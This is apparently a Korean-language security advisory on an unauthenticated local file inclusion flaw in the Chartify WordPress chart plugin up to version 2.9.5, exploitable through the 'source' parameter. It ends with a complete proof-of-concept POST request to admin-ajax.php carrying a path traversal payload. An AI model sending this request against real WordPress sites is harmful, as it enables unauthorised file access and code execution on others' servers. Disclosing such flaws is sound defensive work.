
Chartify – WordPress 차트 플러그인 <= 2.9.5 - 인증되지 않은 로컬 파일 포함 via source
Chartify – WordPress 차트 플러그인 <= 2.9.5 - 인증되지 않은 로컬 파일 포함 (source 매개변수)
WordPress용 Chartify – WordPress 차트 플러그인 플러그인은 'source' 매개변수를 통해 2.9.5를 포함한 모든 버전에서 로컬 파일 포함 취약점에 영향을 받습니다. 이를 통해 인증되지 않은 공격자가 서버에 있는 임의의 파일을 포함 및 실행할 수 있어, 해당 파일의 PHP 코드를 실행할 수 있습니다. 이는 접근 제어를 우회하고 민감한 데이터를 얻거나, 이미지 및 기타 "안전한" 파일 유형이 업로드 및 포함될 수 있는 경우 코드 실행을 달성하는 데 사용될 수 있습니다.
POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../../../var/www/html/poc&type=chart-js HTTP/1.1
Host: wp.local
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
action=ays_chart_admin_ajax&function=display_plugin_charts_page